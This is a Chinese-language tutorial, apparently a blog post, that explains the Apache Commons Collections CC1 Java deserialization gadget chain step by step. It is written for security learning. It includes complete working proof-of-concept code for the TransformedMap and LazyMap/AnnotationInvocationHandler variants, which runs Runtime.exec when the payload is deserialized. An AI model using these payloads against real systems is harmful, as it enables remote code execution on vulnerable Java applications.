java安全入门(二)

上节的内容,重点要知道:

  1. java是半编译型,半解释性语言,需要将编译好的.class文件放入JVM中加载

  2. 我们通过反射可以从已经运行的JVM中拿到我们想要的类,从类中获取构造方法,进行实例化,调用相关的方法,主要是Runtime的命令执行

  3. java的序列化和反序列化,反序列化时会调用readObject()方法,我们构造的readObject方法,需要满足和原项目中的包名一样的包名

    hexdump -C Calc.class

​ 上节课忘记讲了,,我们在传递数据的时候,为了保险稳定,一般会传入字节码

​ 可以看到,class中是带了包名,我们说过,类是对象的模板,那么,在序列化对象的时候,如果包名出现了问题,自然会遇到一系列问题。

CC链1

我们已经知道了序列化和反序列化漏洞的基本原理,那么怎么通过构造恶意数据,让反序列化产⽣⾮ 预期对象呢?

我们以CC链进行举例

组件介绍

Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合⼯ 具类。

collection是set,list,queue的抽象。

作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。

Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer。

前置疑问

使用反射获取的Runtime类,为什么可以放到readObject方法中

实际上,我们简短的描述进行命令执行的化,就是这样,

1
Runtime.class.getMethod("getRuntime").invoke("null").exec("calc")

而我们使用反射的原因是因为,我们通过反射获取Runtime类以后,他就实现了Class本身所继承的Serializable

我么现在写一个最基本的demo

1
2
3
4
5
6
7
8
package com.CC1;

public class Demo {
public static void main(String[] args) {
Class<Runtime> runtimeClass = Runtime.class;
}
}

当我们使用 ctrl alt v补全类型以后,会发现他是Class <>的泛型,当我们长按ctrl,左键点进去之后,就很明显的发现,它实现了Serializable接口,那么,他就满足了序列化的条件

Runtime 用的时候不用 new吗?

如果你有这样的疑惑,你不妨这样试一下

1
2
3
4
5
6
7
8
9
package com.CC1;

public class Demo {
public static void main(String[] args) {
Runtime runtime;
runtime = new Runtime();
}
}

它肯定是会报错的,因为他是一个单例类,,具体什么叫单例类,,自己可以看一下java的基础知识去,

参考java设计模式中单例模式就可

这里放一张图

所以我们需要用getRuntime方法去获取实例

环境

  • CommonsCollections <= 3.2.1

  • java < 8u71(我是用的是8u66)

  • 导入依赖

    1
    2
    3
    4
    5
    <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
    </dependency>

    当然也可以 用传统的 lib包下导入add as a library

在CC链中使用的类

理解完上面的知识以后,你应该对反射和序列化有了初步的印象,接下来我们需要结合两者看几个demo

Map类->TransformedMap

Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap , 具体的变换逻辑由Transformer类定义。

也就是说,TransformedMap类中的数据发⽣改变时, 可以⾃动对进⾏⼀些特殊的变换,⽐如在数据被修改时,把它改回来; 或者在数据改变时,进⾏⼀ 些我们提前设定好的操作。

而实现怎么样的操作或者便换,都是我们提前设定好的,这叫做transform

我们可以使用TransformedMap.decorate()方法获取一个TransformedMap的实例 (同单例类)

TransformedMap.decorate⽅法,预期是对Map类的数据结构进⾏转化,该⽅法有三个参数

第⼀个参数为待转化的Map对象

第⼆个参数为Map对象内的key要经过的转化⽅法(可为单个⽅法,也可为链,也可为空)

第三个参数为Map对象内的value要经过的转化⽅法

Map的其他知识
  • Map是java中的接⼝,Map.Entry是Map的⼀个内部接⼝。
  • Map提供了⼀些常⽤⽅法,如keySet()、entrySet()等⽅法。
  • keySet()⽅法返回值是Map中key值的集合;
  • entrySet()的返回值也是返回⼀个Set集合,此集合的类型为Map.Entry。
  • Map.Entry是Map声明的⼀个内部接⼝,此接⼝为泛型,定义为Entry。它表⽰Map中的⼀ 个实体(⼀个key-value对)。接⼝中有getKey(),getValue⽅法,可以⽤来对集合中的元素进⾏ 修改

Transform接口

ConstantTransformer

作用:得到 class 对象

class.forName()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.CC1;

import org.apache.commons.collections.functors.ConstantTransformer;


public class Demo01 {
public static void main(String[] args) {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Object transform = constantTransformer.transform("null");
System.out.println(transform);
System.out.println(transform.getClass().getName());

}
}

InvokerTransformer

作用:接⼝于Transformer的类都具备把⼀个对象转化为另⼀个对象的功能

先看一下它最常用的构造方法,可以看到需要传递三个参数

再看一下它的transform方法

我们可以看到该类接收⼀个对象,获取该对象的名称,然后调⽤了⼀个invoke⽅法传递参数。另外,多 个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺 序调⽤⼀系列的变换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.CC1;

import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo02 {
public static void main(String[] args) {
// 定义需要执⾏的本地系统命令
String cmd = "calc";
// 构建transformer对象
InvokerTransformer transformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{cmd}
);
// 传⼊Runtime实例,执⾏对象转换操作
transformer.transform(Runtime.getRuntime());

}
}


ChainedTransformer

当传⼊的参数是⼀个数组的时候,就开始循环读取,对每个参数调⽤ transform ⽅法,从⽽构造出 ⼀条链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo03 {
public static void main(String[] args) {
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{cmd})
};
// 创建ChainedTransformer调⽤链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 执⾏对象转换操作
transformedChain.transform(null);
}
}

于是,我们的思路环境就出来了

  1. ConstantTransformer –> 把⼀个对象转换为常量,并返回 ->获取到了Runtime.class
  2. InvokerTransformer –> 通过反射,返回⼀个对象 -> 反射获取执行方法加入参数
  3. ChainedTransformer –>执⾏链式的Transformer⽅法 ->将反射包含的数组进行链式调用,从而连贯起来

当然,这里所调用的每个类自然也是继承了Serializable接口,例如,

整体思路还是和上节课反射一样,仔细捋一下。上节课我们也提到过最后用数组包含起来传值的思路,这样是不是就理清了很多。

TransformedMap

通过上面的几个例子,我们应该可以明白,最终是需要调用transform方法,才能完成我们最后一步。

但是,问题就来了:

  1. 如何传入恶意的ChainedTransformer
  2. 如何调用transform方法执行本地命令;

压力就给到了如何调用ChainedTransformer

但是我们看一下由工具ysoserial 构造的payload

org.apache.commons.collections.map.TransformedMap类间接的实现了java.util.Map接口,同时支持对Map的key或者value进行Transformer转换,调用decorate和decorateTransform方法就可以创建一个TransformedMap:

关键代码如下

1
2
3
4
5
6
7
8
9
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

Transformer实现类分别 绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。

我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时(调用TransformedMapsetValue/put/putAll中的任意方法),就会自动触发chainedtransformer

所以,我们的demo’可以如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Demo04 {
public static void main(String[] args) {
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{cmd})
};
// 创建ChainedTransformer调⽤链对象
Transformer transformedChain = new ChainedTransformer(transformers);
//创建Map对象
Map map = new HashMap();
map.put("value", "value");
// 使⽤TransformedMap创建⼀个含有恶意调⽤链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null,
transformedChain);
// transformedMap.put("v1", "v2");// 执⾏put也会触发transform
// 遍历Map元素,并调⽤setValue⽅法
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;
// setValue最终调⽤到InvokerTransformer的transform⽅法,从⽽触发Runtime命令执⾏调⽤链
entry.setValue("test");
}
// System.out.println(transformedMap);
}
}

我们就来总结一下使用TransformedMap的条件

  1. 实现了java.io.Serializable接口;
  2. 并且可以传入我们构建的TransformedMap对象;
  3. 调用了TransformedMap中的setValue/put/putAll中的任意方法一个方法的类;
AnnotationInvocationHandler

AnnotationInvocationHandler中 ==invoke==方法都调用了get方法参数可控,==readObject==方法中满足setValue()进行transform执行

这里以readObject做例子

这里的readObject是AnnotationInvocationHandler中的——>具体参考java的多态性质

sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,是用来处理注解的一个类。它还重写了readObject方法,在readObject方法中间接的调用了TransformedMap中MapEntry的setValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。

我调了一下,调用堆栈如下

1
2
3
4
5
6
7
8
9
10
11
readObject:428, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:82, Demo05 (com.CC1)

可以看到,调用了setValue()方法

上图中的第352行中的memberValues是AnnotationInvocationHandler的成员变量,memberValues的值是在var1.defaultReadObject();时反序列化生成的,它也就是我们在创建AnnotationInvocationHandler时传入的带有恶意攻击链的TransformedMap。需要注意的是如果我们想要进入到var5.setValue这个逻辑那么我们的序列化的map中的key必须包含创建AnnotationInvocationHandler时传入的注解的方法名。

于是,我们修改后完整的过程如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
package com.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;

public class Demo05 {
public static void main(String[] args) {
String cmd = "calc";

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};

// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);

// 创建Map对象
Map map = new HashMap();
map.put("value", "value");

// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

try {
// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

// 设置构造方法的访问权限
constructor.setAccessible(true);

// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);

// 创建用于存储payload的二进制输出流对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();

// 创建Java对象序列化输出流对象
ObjectOutputStream out = new ObjectOutputStream(baos);

// 序列化AnnotationInvocationHandler类
out.writeObject(instance);
out.flush();
out.close();

// 获取序列化的二进制数组
byte[] bytes = baos.toByteArray();

// 输出序列化的二进制数组
System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));

// 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);

// 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
ObjectInputStream in = new ObjectInputStream(bais);

// 模拟远程的反序列化过程
in.readObject();

// 关闭ObjectInputStream输入流
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
LazyMap

看到这里,你会发现,不对啊,ysoserial里面是LazyMap,而我们却没有讲到,这里讲一下

有师傅分析LazyMap类,里面的get方法正好符合put去调用transform的情况

get方法同时还要求传入一个Object 参数,get方法内部在调用transform方法之前会先判断一下key,如果当前map中不存在key的话,则通过factory来创建一个value

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

Invoke->get(LazyMap)–>put(putAll),setValue—>transform

同时,因为factory是LazyMap类的成员属性,其数据类型也是Transformer

1
2
3
4
5
6
7
8
9
public class LazyMap
extends AbstractMapDecorator
implements Map, Serializable {

/** Serialization version */
private static final long serialVersionUID = 7990956402564206740L;

/** The factory to use to construct elements */
protected final Transformer factory;

同时还具有我们熟悉的decorate方法,这个方法和之前TransformedMap中的decorate方法的用法一样,它要求接收两个参数,一个是Map,另一个是Transformer类型的factory,这意味着factory参数是可控的,我们可以通过反射或者构造方法来控制factory参数。

1
public static Map decorate(Map map, Transformer factory) {        return new LazyMap(map, factory);    }

LazyMap类的利用链问题解决了,但还需要一个类在反序列化的时候触发LazyMap类的get方法,因此还得借助AnnotationInvocationHandler类,通过AnnotationInvocationHandler类的构造方法将LazyMap传递给memberValues,也就是说我们要获得AnnotationInvocationHandler的构造器。

这里我们以invoke()方法做例子

接下来需要在AnnotationInvocationHandler中寻找哪些方法中调用了get方法,找到了Invoke方法,而且memberValues的值是可控的

1
public Object invoke(Object var1, Method var2, Object[] var3) {    Object var6 = this.memberValues.get(var4);}
如何调用AnnotationInvocationHandler类中的invoke方法

答案就是:通过反射将代理对象proxyMap传给AnnotationInvocationHandler的构造方法

由于不是public访问权限,直接访问AnnotationInvocationHandler类是行不通的,通过分析AnnotationInvocationHandler类,发现这个类实现了InvocationHandler接口,是不是觉得InvocationHandler接口符合动态代理。

既然我们的目标是调用LazyMap类的get方法,那么可以通过Proxy类的静态方法newProxyInstance来创建LazyMap类的动态代理对象,当lazyMap调用方法时就会调用代理对象的invoke方法。

代理对象

通过分析AnnotationInvocationHandler类,发现这个类实现了InvocationHandler接口,是动态代理的接口。

1
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h);
  • 参数loader表示目标对象所属类的加载器,因此这里要传入Map的类加载器

  • 参数interfaces表示目标对象实现的接口(通过反射获取),也就是目标对象lazyMap实现的接口,这里还是传入Map对象

  • 参数h表示代理类要完成的功能,注意参数h的类型时InvocationHandler,因此这里我们要传入AnnotationInvocationHandler对象

具体的话参考此https://blog.csdn.net/u012326462/article/details/81293186

在Spring里面,逐渐演化为AOP思想

思路

通过调试,AnnotationInvocationHandler的构造会将代理对象proxyMap赋值给成员属性memberValues

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

然后AnnotationInvocationHandler对象在反序列化的时候调用重写的readObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
Map var3 = var2.memberTypes();
//获取LazyMap父类的entrySet
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
//代理对象调用方法
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}

​ 当调用readObject方法时,memberValues的值就是代理对象proxyMap(也就是LazyMap的代理对象),只要代理对象proxyMap调用方法就会执行AnnotationInvocationHandler中的invoke方法(代理对象调用任何方法In,不管InvocationHandler的invoke方法都会进行拦截,这就是动态代理技术)

所以,我们可以构造为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Demo06 {
public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), lazyMap.getClass().getInterfaces(), annotationInvocationHandler);
annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(annotationInvocationHandler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();

}
}

思路图

img

参考文章

https://blog.csdn.net/WDWAGAAFGAGDADSA/article/details/122135422

https://blog.csdn.net/qq_35733751/article/details/118462281

https://xz.aliyun.com/t/9873#toc-19